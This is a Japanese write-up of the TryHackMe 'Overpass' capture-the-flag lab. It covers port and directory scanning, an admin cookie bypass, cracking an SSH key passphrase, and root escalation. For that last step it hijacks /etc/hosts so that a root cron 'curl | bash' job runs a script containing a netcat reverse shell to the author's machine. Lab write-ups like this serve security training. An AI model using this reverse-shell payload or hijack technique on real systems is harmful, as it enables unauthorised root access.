はじめに
こちらの記事はtryhackmeのOverpassでのwriteup記事です。リンクは以下になります。
https://tryhackme.com/room/overpass
0.下準備
ターゲットサーバーを起動したときにもらった攻撃先のIPアドレスを、/etc/hosts に追記して target.thm に紐づけてあります。(途中で攻撃先サーバーのIPが変わってたりしますが同じです)
1.とりあえずnmap
とりあえずnmapで簡単にポートスキャンしてみると
$nmap -F target.thm
Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-18 01:52 JST
Nmap scan report for target.thm (10.10.17.23)
Host is up (0.25s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.28 seconds
ざっと80番ポートと22番ポートが空いているのが分かりました。
2.80番ポートにアクセス
nmapで80番ポートが空いているのが分かったので、ブラウザでアクセスしてみると、どうやらパスワードの保存ソフトを配布しているWebサイトみたい。
実行可能形式のファイルとソースコードも一緒に配布されているのでソースコードの中を確認してみると、"Military Grade encryption" は ROT47 のことらしい…
(以下ソースコード一部抜粋)
//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example
func rot47(input string) string {
var result []string
for i := range input[:len(input)] {
j := int(input[i])
if (j >= 33) && (j <= 126) {
result = append(result, string(rune(33+((j+14)%94))))
} else {
result = append(result, string(input[i]))
}
}
return strings.Join(result, "")
}
その他、データの保存は~/.overpassにあるとのこと。
3.gobusterする
他に特にめぼしいものが見つからないので、gobusterしてみる。
$ gobuster -u=http://target.thm:80/ -w=/home/hachan/kali-wordlists/dirbuster/directory-list-2.3-medium.txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://target.thm/
[+] Threads : 10
[+] Wordlist : /home/hachan/kali-wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
=====================================================
/img (Status: 301)
/downloads (Status: 301)
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)
=====================================================
=====================================================
先程見て回ってたときには見つからなかった/adminを発見しました。
4./adminにアクセス
/adminにアクセスしてみると、管理者のログインページにたどり着きました。
ひとまずログインフォームに関して調べてみると、/login.jsに詳しく記述されているのがわかります。
async function postData(url = '', data = {}) {
// Default options are marked with *
const response = await fetch(url, {
method: 'POST', // *GET, POST, PUT, DELETE, etc.
cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
credentials: 'same-origin', // include, *same-origin, omit
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
redirect: 'follow', // manual, *follow, error
referrerPolicy: 'no-referrer', // no-referrer, *client
body: encodeFormData(data) // body data type must match "Content-Type" header
});
return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
return Object.keys(data)
.map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
.join('&');
}
function onLoad() {
document.querySelector("#loginForm").addEventListener("submit", function (event) {
//on pressing enter
event.preventDefault()
login()
});
}
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
なにやら、usernameとpasswordを/api/loginにpostリクエストで投げて、ログインが成功すると、その時にもらえるSessionTokenという名前のCookieを付けて、/adminにアクセスし直すみたい。適当にSessionTokenのCookieを付けて/adminにアクセスしてみると、Cookieの管理が適当なようで、管理者権限のページに遷移しました。
ページを読んでみるとjamesに対して、sshの秘密鍵を用意したからこれを使えとのことと、パスワードがわからないときは自分で割り出してくれとのこと…
5.ssh private key のパスワードクラック
上で手に入れた秘密鍵をそのまま使ってsshに接続しようとするとパスワードを求められて、ログインができないので、以下の記事を参考にパスワードを割り出していきます。
https://null-byte.wonderhowto.com/how-to/crack-ssh-private-key-passwords-with-john-ripper-0302810/
johnはUbuntuのaptで入るものだとうまく動かないので、john jumboを使うと上手くいきます。
https://github.com/openwall/john
そこで割れたパスワードを使ってsshでログインを試すとログインできました。
$ ssh -i id_rsa james@target.thm
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Feb 17 20:55:10 UTC 2024
System load: 0.0 Processes: 88
Usage of /: 22.3% of 18.57GB Users logged in: 0
Memory usage: 12% IP address for eth0: 10.10.0.42
Swap usage: 0%
47 packages can be updated.
0 updates are security updates.
Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$
ログインできたjamesのホームディレクトリに user.txt を発見しました。
6.権限昇格
ひとまず、sudoやcapability、suid、crontabなどを見てみます。jamesのパスワードに関しては、最初に入手した情報をもとに ~/.overpass を rot47 に通すと手に入りました。
一通り確認してみると、crontab に怪しい箇所を発見。
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
毎分、root権限で overpass.thm/downloads/src/buildscript.sh をcurlしてそれをbashで実行しているみたい。
overpass.thmがどこを読みに行っているかを確認するために/etc/hostsを確認しにいきます。
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
自身の80番ポートにアクセスしているのがわかります。それに加えて、/etc/hostsはjamesでも書き込みの権限があるようです。
$ ls -l /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 2020 /etc/hosts
なので、overpass.thmの紐付け先を自分のローカル環境のIPに書き換えることで、好きなシェルスクリプトがroot権限で実行ができそうです。jamesの環境にはvimが入っているようなので、それを使って/etc/hostsを書き換えます。(xx.xx.xx.xxは私のローカル環境のIP)
xx.xx.xx.xx overpass.thm
ローカル環境に ./downloads/src/buildscript.sh を以下のように作成して、
#!/bin/bash
mkfifo /tmp/f
nc xx.xx.xx.xx 7777 < /tmp/f | /bin/bash > /tmp/f
80番ポートでhttpサーバーを開いておいて、
sudo python3 -m http.server 80
同時に、リバースシェルをキャッチする準備をしておきます。
socat tcp-l:7777 -
そうして少し待つと、root権限のリバースシェルが奪取でき、root.txtを読みにいけました。